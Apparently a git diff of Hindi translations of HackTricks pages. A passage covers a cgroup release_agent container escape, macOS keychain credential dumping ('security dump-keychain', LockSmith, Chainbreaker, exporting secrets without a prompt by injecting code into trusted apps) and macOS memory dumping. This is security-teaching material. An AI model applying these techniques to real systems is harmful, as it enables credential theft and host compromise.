* यह `release_agent` (जो /cmd स्क्रिप्ट है) को सक्रिय करता है, जो होस्ट पर ps aux चलाता है और आउटपुट को कंटेनर के भीतर /output पर लिखता है।
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और उनके इंजन का प्रयास कर सकते हैं **मुफ्त** में:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Main Keychains
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **सुरक्षित** हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
* **यूजर कीचेन** (`~/Library/Keychains/login.keycahin-db`), जिसका उपयोग **यूजर-विशिष्ट क्रेडेंशियल्स** जैसे एप्लिकेशन पासवर्ड, इंटरनेट पासवर्ड, यूजर-जनित सर्टिफिकेट, नेटवर्क पासवर्ड, और यूजर-जनित सार्वजनिक/निजी कुंजियों को स्टोर करने के लिए किया जाता है।
|
||||
* **सिस्टम कीचेन** (`/Library/Keychains/System.keychain`), जो **सिस्टम-व्यापी क्रेडेंशियल्स** जैसे WiFi पासवर्ड, सिस्टम रूट सर्टिफिकेट, सिस्टम निजी कुंजियाँ, और सिस्टम एप्लिकेशन पासवर्ड को स्टोर करता है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
### Password Keychain Access
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
ये फ़ाइलें, जबकि इनमें अंतर्निहित सुरक्षा नहीं है और इन्हें **डाउनलोड** किया जा सकता है, एन्क्रिप्टेड हैं और इन्हें **डिक्रिप्ट करने के लिए यूजर का प्लेनटेक्स्ट पासवर्ड** की आवश्यकता होती है। डिक्रिप्शन के लिए [**Chainbreaker**](https://github.com/n0fate/chainbreaker) जैसे टूल का उपयोग किया जा सकता है।
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## मुख्य कीचेन
|
||||
|
||||
* **यूजर कीचेन** (`~/Library/Keychains/login.keycahin-db`), जिसका उपयोग **उपयोगकर्ता-विशिष्ट क्रेडेंशियल्स** जैसे एप्लिकेशन पासवर्ड, इंटरनेट पासवर्ड, उपयोगकर्ता-निर्मित प्रमाणपत्र, नेटवर्क पासवर्ड, और उपयोगकर्ता-निर्मित सार्वजनिक/निजी कुंजियों को स्टोर करने के लिए किया जाता है।
|
||||
* **सिस्टम कीचेन** (`/Library/Keychains/System.keychain`), जो **सिस्टम-व्यापी क्रेडेंशियल्स** जैसे WiFi पासवर्ड, सिस्टम रूट प्रमाणपत्र, सिस्टम निजी कुंजियाँ, और सिस्टम एप्लिकेशन पासवर्ड को स्टोर करता है।
|
||||
|
||||
### पासवर्ड कीचेन एक्सेस
|
||||
|
||||
ये फ़ाइलें, जबकि इनमें अंतर्निहित सुरक्षा नहीं है और इन्हें **डाउनलोड** किया जा सकता है, एन्क्रिप्टेड हैं और इन्हें **डिक्रिप्ट** करने के लिए **उपयोगकर्ता का प्लेनटेक्स्ट पासवर्ड** की आवश्यकता होती है। डिक्रिप्शन के लिए [**Chainbreaker**](https://github.com/n0fate/chainbreaker) जैसे टूल का उपयोग किया जा सकता है।
|
||||
|
||||
## कीचेन प्रविष्टियाँ सुरक्षा
|
||||
## Keychain Entries Protections
|
||||
|
||||
### ACLs
|
||||
|
||||
|
@ -48,37 +35,37 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
* **ACLAuhtorizationExportWrapped**: धारक को दूसरे प्रदान किए गए पासवर्ड के साथ एन्क्रिप्टेड स्पष्ट पाठ प्राप्त करने की अनुमति देता है।
|
||||
* **ACLAuhtorizationAny**: धारक को कोई भी क्रिया करने की अनुमति देता है।
|
||||
|
||||
ACLs के साथ एक **विश्वसनीय अनुप्रयोगों की सूची** होती है जो बिना प्रॉम्प्ट के ये क्रियाएँ कर सकती हैं। यह हो सकता है:
|
||||
ACLs के साथ एक **विश्वसनीय एप्लिकेशन की सूची** भी होती है जो बिना प्रॉम्प्ट के ये क्रियाएँ कर सकती है। यह हो सकता है:
|
||||
|
||||
* **N`il`** (कोई प्राधिकरण आवश्यक नहीं, **सभी विश्वसनीय हैं**)
|
||||
* एक **खाली** सूची (**कोई भी** विश्वसनीय नहीं है)
|
||||
* **विशिष्ट** **अनुप्रयोगों** की **सूची**।
|
||||
* **विशिष्ट** **एप्लिकेशनों** की **सूची**।
|
||||
|
||||
इसके अलावा, प्रविष्टि में कुंजी **`ACLAuthorizationPartitionID`** हो सकती है, जिसका उपयोग **teamid, apple,** और **cdhash** की पहचान के लिए किया जाता है।
|
||||
|
||||
* यदि **teamid** निर्दिष्ट है, तो **प्रविष्टि** मान **बिना** **प्रॉम्प्ट** के **एक्सेस** करने के लिए उपयोग किए जाने वाले अनुप्रयोग का **समान teamid** होना चाहिए।
|
||||
* यदि **teamid** निर्दिष्ट है, तो **प्रविष्टि** मान **बिना** **प्रॉम्प्ट** के **एक्सेस** करने के लिए उपयोग की जाने वाली एप्लिकेशन को **समान teamid** होना चाहिए।
|
||||
* यदि **apple** निर्दिष्ट है, तो ऐप को **Apple** द्वारा **साइन** किया जाना चाहिए।
|
||||
* यदि **cdhash** निर्दिष्ट है, तो **ऐप** को विशिष्ट **cdhash** होना चाहिए।
|
||||
|
||||
### कीचेन प्रविष्टि बनाना
|
||||
### Creating a Keychain Entry
|
||||
|
||||
जब **`Keychain Access.app`** का उपयोग करके एक **नया** **प्रविष्टि** बनाई जाती है, तो निम्नलिखित नियम लागू होते हैं:
|
||||
|
||||
* सभी ऐप्स एन्क्रिप्ट कर सकते हैं।
|
||||
* **कोई ऐप्स** निर्यात/डिक्रिप्ट नहीं कर सकते (उपयोगकर्ता को प्रॉम्प्ट किए बिना)।
|
||||
* सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं।
|
||||
* कोई ऐप्स ACLs को नहीं बदल सकते।
|
||||
* सभी ऐप एन्क्रिप्ट कर सकते हैं।
|
||||
* **कोई ऐप** निर्यात/डिक्रिप्ट नहीं कर सकता (यूजर को प्रॉम्प्ट किए बिना)।
|
||||
* सभी ऐप इंटीग्रिटी चेक देख सकते हैं।
|
||||
* कोई ऐप ACLs को बदल नहीं सकता।
|
||||
* **partitionID** को **`apple`** पर सेट किया गया है।
|
||||
|
||||
जब एक **अनुप्रयोग कीचेन में एक प्रविष्टि बनाता है**, तो नियम थोड़े अलग होते हैं:
|
||||
जब एक **एप्लिकेशन कीचेन में एक प्रविष्टि बनाता है**, तो नियम थोड़े अलग होते हैं:
|
||||
|
||||
* सभी ऐप्स एन्क्रिप्ट कर सकते हैं।
|
||||
* केवल **बनाने वाला अनुप्रयोग** (या कोई अन्य ऐप्स जो स्पष्ट रूप से जोड़े गए हैं) निर्यात/डिक्रिप्ट कर सकते हैं (उपयोगकर्ता को प्रॉम्प्ट किए बिना)।
|
||||
* सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं।
|
||||
* कोई ऐप्स ACLs को नहीं बदल सकते।
|
||||
* सभी ऐप एन्क्रिप्ट कर सकते हैं।
|
||||
* केवल **बनाने वाला एप्लिकेशन** (या कोई अन्य ऐप जो स्पष्ट रूप से जोड़ा गया हो) निर्यात/डिक्रिप्ट कर सकता है (यूजर को प्रॉम्प्ट किए बिना)।
|
||||
* सभी ऐप इंटीग्रिटी चेक देख सकते हैं।
|
||||
* कोई ऐप ACLs को नहीं बदल सकता।
|
||||
* **partitionID** को **`teamid:[teamID here]`** पर सेट किया गया है।
|
||||
|
||||
## कीचेन तक पहुँच
|
||||
## Accessing the Keychain
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
|
@ -100,21 +87,21 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
**कीचेन एन्यूमरेशन और सीक्रेट्स का डंपिंग** जो **प्रॉम्प्ट नहीं जनरेट करेगा** उसे [**LockSmith**](https://github.com/its-a-feature/LockSmith) टूल से किया जा सकता है।
|
||||
**कीचेन एन्यूमरेशन और डंपिंग** उन रहस्यों की जो **प्रॉम्प्ट नहीं बनाएंगे** को टूल [**LockSmith**](https://github.com/its-a-feature/LockSmith) के साथ किया जा सकता है।
|
||||
{% endhint %}
|
||||
|
||||
प्रत्येक कीचेन एंट्री के बारे में **जानकारी** सूचीबद्ध करें और प्राप्त करें:
|
||||
प्रत्येक कीचेन प्रविष्टि के बारे में **जानकारी** सूचीबद्ध करें और प्राप्त करें:
|
||||
|
||||
* API **`SecItemCopyMatching`** प्रत्येक एंट्री के बारे में जानकारी देता है और इसका उपयोग करते समय कुछ विशेषताएँ सेट की जा सकती हैं:
|
||||
* API **`SecItemCopyMatching`** प्रत्येक प्रविष्टि के बारे में जानकारी देता है और इसका उपयोग करते समय कुछ विशेषताएँ सेट की जा सकती हैं:
|
||||
* **`kSecReturnData`**: यदि सत्य है, तो यह डेटा को डिक्रिप्ट करने की कोशिश करेगा (संभावित पॉप-अप से बचने के लिए इसे गलत सेट करें)
|
||||
* **`kSecReturnRef`**: कीचेन आइटम का संदर्भ भी प्राप्त करें (यदि बाद में आप देखते हैं कि आप बिना पॉप-अप के डिक्रिप्ट कर सकते हैं तो इसे सत्य पर सेट करें)
|
||||
* **`kSecReturnAttributes`**: एंट्रीज़ के बारे में मेटाडेटा प्राप्त करें
|
||||
* **`kSecReturnRef`**: कीचेन आइटम के लिए संदर्भ भी प्राप्त करें (यदि बाद में आप देखते हैं कि आप बिना पॉप-अप के डिक्रिप्ट कर सकते हैं तो इसे सत्य पर सेट करें)
|
||||
* **`kSecReturnAttributes`**: प्रविष्टियों के बारे में मेटाडेटा प्राप्त करें
|
||||
* **`kSecMatchLimit`**: कितने परिणाम लौटाने हैं
|
||||
* **`kSecClass`**: किस प्रकार की कीचेन एंट्री
|
||||
* **`kSecClass`**: किस प्रकार की कीचेन प्रविष्टि
|
||||
|
||||
प्रत्येक एंट्री के **ACLs** प्राप्त करें:
|
||||
प्रत्येक प्रविष्टि के **ACLs** प्राप्त करें:
|
||||
|
||||
* API **`SecAccessCopyACLList`** का उपयोग करके आप **कीचेन आइटम के लिए ACL** प्राप्त कर सकते हैं, और यह ACLs की एक सूची लौटाएगा (जैसे `ACLAuhtorizationExportClear` और अन्य पहले उल्लेखित) जहाँ प्रत्येक सूची में:
|
||||
* API **`SecAccessCopyACLList`** के साथ आप **कीचेन आइटम के लिए ACL** प्राप्त कर सकते हैं, और यह ACLs की एक सूची लौटाएगा (जैसे `ACLAuhtorizationExportClear` और अन्य पहले उल्लेखित) जहाँ प्रत्येक सूची में:
|
||||
* विवरण
|
||||
* **विश्वसनीय एप्लिकेशन सूची**। यह हो सकता है:
|
||||
* एक ऐप: /Applications/Slack.app
|
||||
|
@ -126,44 +113,33 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
* API **`SecKeychainItemCopyContent`** प्लेनटेक्स्ट प्राप्त करता है
|
||||
* API **`SecItemExport`** कुंजी और प्रमाणपत्रों को निर्यात करता है लेकिन सामग्री को एन्क्रिप्टेड निर्यात करने के लिए पासवर्ड सेट करने की आवश्यकता हो सकती है
|
||||
|
||||
और ये हैं **आवश्यकताएँ** ताकि आप **बिना प्रॉम्प्ट के एक सीक्रेट निर्यात कर सकें**:
|
||||
और ये हैं **निर्धारण** बिना प्रॉम्प्ट के **एक रहस्य निर्यात करने** के लिए:
|
||||
|
||||
* यदि **1+ विश्वसनीय** ऐप्स सूचीबद्ध हैं:
|
||||
* उचित **अधिकार** की आवश्यकता है (**`Nil`**, या सीक्रेट जानकारी तक पहुँचने के लिए अनुमति सूची में **भाग** होना)
|
||||
* **PartitionID** से मेल खाने के लिए कोड सिग्नेचर की आवश्यकता है
|
||||
* एक **विश्वसनीय ऐप** का कोड सिग्नेचर मेल खाने की आवश्यकता है (या सही KeychainAccessGroup का सदस्य होना)
|
||||
* उचित **अधिकार** की आवश्यकता है (**`Nil`**, या रहस्य जानकारी तक पहुँचने के लिए अनुमति सूची में **भाग** होना)
|
||||
* **PartitionID** से मेल खाने के लिए कोड हस्ताक्षर की आवश्यकता है
|
||||
* एक **विश्वसनीय ऐप** का कोड हस्ताक्षर मेल खाने की आवश्यकता है (या सही KeychainAccessGroup का सदस्य होना)
|
||||
* यदि **सभी एप्लिकेशन विश्वसनीय** हैं:
|
||||
* उचित **अधिकार** की आवश्यकता है
|
||||
* **PartitionID** से मेल खाने के लिए कोड सिग्नेचर की आवश्यकता है
|
||||
* **PartitionID** से मेल खाने के लिए कोड हस्ताक्षर की आवश्यकता है
|
||||
* यदि **कोई PartitionID नहीं है**, तो यह आवश्यक नहीं है
|
||||
|
||||
{% hint style="danger" %}
|
||||
इसलिए, यदि **1 एप्लिकेशन सूचीबद्ध है**, तो आपको **उस एप्लिकेशन में कोड इंजेक्ट करने** की आवश्यकता है।
|
||||
|
||||
यदि **apple** **partitionID** में इंगित है, तो आप इसे **`osascript`** के साथ एक्सेस कर सकते हैं इसलिए कुछ भी जो partitionID में apple के साथ सभी एप्लिकेशनों पर भरोसा कर रहा है। इसके लिए **`Python`** का भी उपयोग किया जा सकता है।
|
||||
यदि **एप्पल** **partitionID** में इंगित है, तो आप इसे **`osascript`** के साथ एक्सेस कर सकते हैं इसलिए कुछ भी जो partitionID में एप्पल के साथ सभी एप्लिकेशनों पर भरोसा कर रहा है। इसके लिए **`Python`** का भी उपयोग किया जा सकता है।
|
||||
{% endhint %}
|
||||
|
||||
### Two additional attributes
|
||||
### दो अतिरिक्त विशेषताएँ
|
||||
|
||||
* **अदृश्य**: यह **UI** कीचेन ऐप से एंट्री को **छिपाने** के लिए एक बूलियन फ्लैग है
|
||||
* **सामान्य**: यह **मेटाडेटा** को स्टोर करने के लिए है (इसलिए यह एन्क्रिप्टेड नहीं है)
|
||||
* Microsoft सभी रिफ्रेश टोकन को संवेदनशील एंडपॉइंट तक पहुँचने के लिए प्लेन टेक्स्ट में स्टोर कर रहा था।
|
||||
* **अदृश्य**: यह **UI** कीचेन ऐप से प्रविष्टि को **छिपाने** के लिए एक बूलियन ध्वज है
|
||||
* **सामान्य**: यह **मेटाडेटा** संग्रहीत करने के लिए है (इसलिए यह एन्क्रिप्टेड नहीं है)
|
||||
* माइक्रोसॉफ्ट संवेदनशील एंडपॉइंट तक पहुँचने के लिए सभी रिफ्रेश टोकन को प्लेन टेक्स्ट में संग्रहीत कर रहा था।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -173,9 +149,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -1,57 +1,44 @@
|
|||
# macOS मेमोरी डंपिंग
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और प्रैक्टिस करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और प्रैक्टिस करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) **और** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में PR जमा करके।**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि यह जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **कंप्रोमाइज** किया गया है या नहीं।
|
||||
### Swap Files
|
||||
|
||||
व्हाइटइंटेल का मुख्य उद्देश्य खाता हथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं।
|
||||
स्वैप फ़ाइलें, जैसे कि `/private/var/vm/swapfile0`, **भौतिक मेमोरी भर जाने पर कैश के रूप में कार्य करती हैं**। जब भौतिक मेमोरी में और जगह नहीं होती है, तो इसका डेटा एक स्वैप फ़ाइल में स्थानांतरित किया जाता है और फिर आवश्यकतानुसार भौतिक मेमोरी में वापस लाया जाता है। कई स्वैप फ़ाइलें हो सकती हैं, जिनके नाम जैसे swapfile0, swapfile1, आदि हो सकते हैं।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
फ़ाइल जो `/private/var/vm/sleepimage` पर स्थित है, **हाइबरनेशन मोड** के दौरान महत्वपूर्ण है। **जब OS X हाइबरनेट करता है, तो मेमोरी से डेटा इस फ़ाइल में संग्रहीत किया जाता है**। कंप्यूटर को जगाने पर, सिस्टम इस फ़ाइल से मेमोरी डेटा पुनः प्राप्त करता है, जिससे उपयोगकर्ता वहीं से जारी रख सकता है जहाँ उसने छोड़ा था।
|
||||
|
||||
***
|
||||
यह ध्यान देने योग्य है कि आधुनिक MacOS सिस्टम पर, यह फ़ाइल आमतौर पर सुरक्षा कारणों से एन्क्रिप्टेड होती है, जिससे पुनर्प्राप्ति कठिन हो जाती है।
|
||||
|
||||
## मेमोरी आर्टिफैक्ट्स
|
||||
* यह जांचने के लिए कि क्या sleepimage के लिए एन्क्रिप्शन सक्षम है, कमांड `sysctl vm.swapusage` चलाया जा सकता है। यह दिखाएगा कि क्या फ़ाइल एन्क्रिप्टेड है।
|
||||
|
||||
### स्वैप फ़ाइलें
|
||||
### Memory Pressure Logs
|
||||
|
||||
स्वैप फ़ाइलें, जैसे `/private/var/vm/swapfile0`, **जब फिजिकल मेमोरी भर जाती है तो कैश के रूप में काम करती हैं**। जब फिजिकल मेमोरी में और जगह नहीं होती, तो उसका डेटा एक स्वैप फ़ाइल में स्थानांतरित किया जाता है और फिर जैसे ही आवश्यक होता है, यह डेटा फिजिकल मेमोरी में वापस लाया जाता है। एक से अधिक स्वैप फ़ाइलें मौजूद हो सकती हैं, जिनके नाम होते हैं swapfile0, swapfile1, और इसी तरह।
|
||||
MacOS सिस्टम में एक और महत्वपूर्ण मेमोरी-संबंधित फ़ाइल **मेमोरी प्रेशर लॉग** है। ये लॉग `/var/log` में स्थित होते हैं और सिस्टम की मेमोरी उपयोग और प्रेशर घटनाओं के बारे में विस्तृत जानकारी प्रदान करते हैं। ये मेमोरी-संबंधित समस्याओं का निदान करने या यह समझने के लिए विशेष रूप से उपयोगी हो सकते हैं कि सिस्टम समय के साथ मेमोरी का प्रबंधन कैसे करता है।
|
||||
|
||||
### हाइबर्नेट इमेज
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
`/private/var/vm/sleepimage` पर स्थित फ़ाइल हाइबर्नेशन मोड के दौरान महत्वपूर्ण है। **जब OS X हाइबर्नेट होता है तो मेमोरी से डेटा इस फ़ाइल में स्टोर किया जाता है**। कंप्यूटर को जागने पर, सिस्टम इस फ़ाइल से मेमोरी डेटा पुनः प्राप्त करता है, जिससे उपयोगकर्ता जहाँ से छोड़े थे वहाँ से जारी रख सकता है।
|
||||
MacOS मशीन में मेमोरी को डंप करने के लिए आप [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) का उपयोग कर सकते हैं।
|
||||
|
||||
यह ध्यान देने योग्य है कि आधुनिक MacOS सिस्टमों पर, सुरक्षा कारणों से यह फ़ाइल आम तौर पर एन्क्रिप्टेड होती है, जिससे पुनर्प्राप्ति कठिन होती है।
|
||||
|
||||
* यदि स्लीपइमेज के लिए एन्क्रिप्शन सक्षम है या नहीं यह जांचने के लिए, कमांड `sysctl vm.swapusage` चलाई जा सकती है। यह दिखाएगी कि क्या फ़ाइल एन्क्रिप्टेड है या नहीं।
|
||||
|
||||
### मेमोरी दबाव लॉग
|
||||
|
||||
MacOS सिस्टम में एक और महत्वपूर्ण मेमोरी संबंधित फ़ाइल है **मेमोरी दबाव लॉग**। ये लॉग `/var/log` में स्थित होते हैं और सिस्टम के मेमोरी उपयोग और दबाव घटनाओं के बारे में विस्तृत जानकारी शामिल करते हैं। ये मेमोरी संबंधित मुद्दों का निदान करने या समय के साथ सिस्टम कैसे मेमोरी प्रबंधित करता है को समझने के लिए विशेष रूप से उपयोगी हो सकते हैं।
|
||||
|
||||
## osxpmem के साथ मेमोरी डंपिंग
|
||||
|
||||
MacOS मशीन में मेमोरी डंप करने के लिए आप [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) का उपयोग कर सकते हैं।
|
||||
|
||||
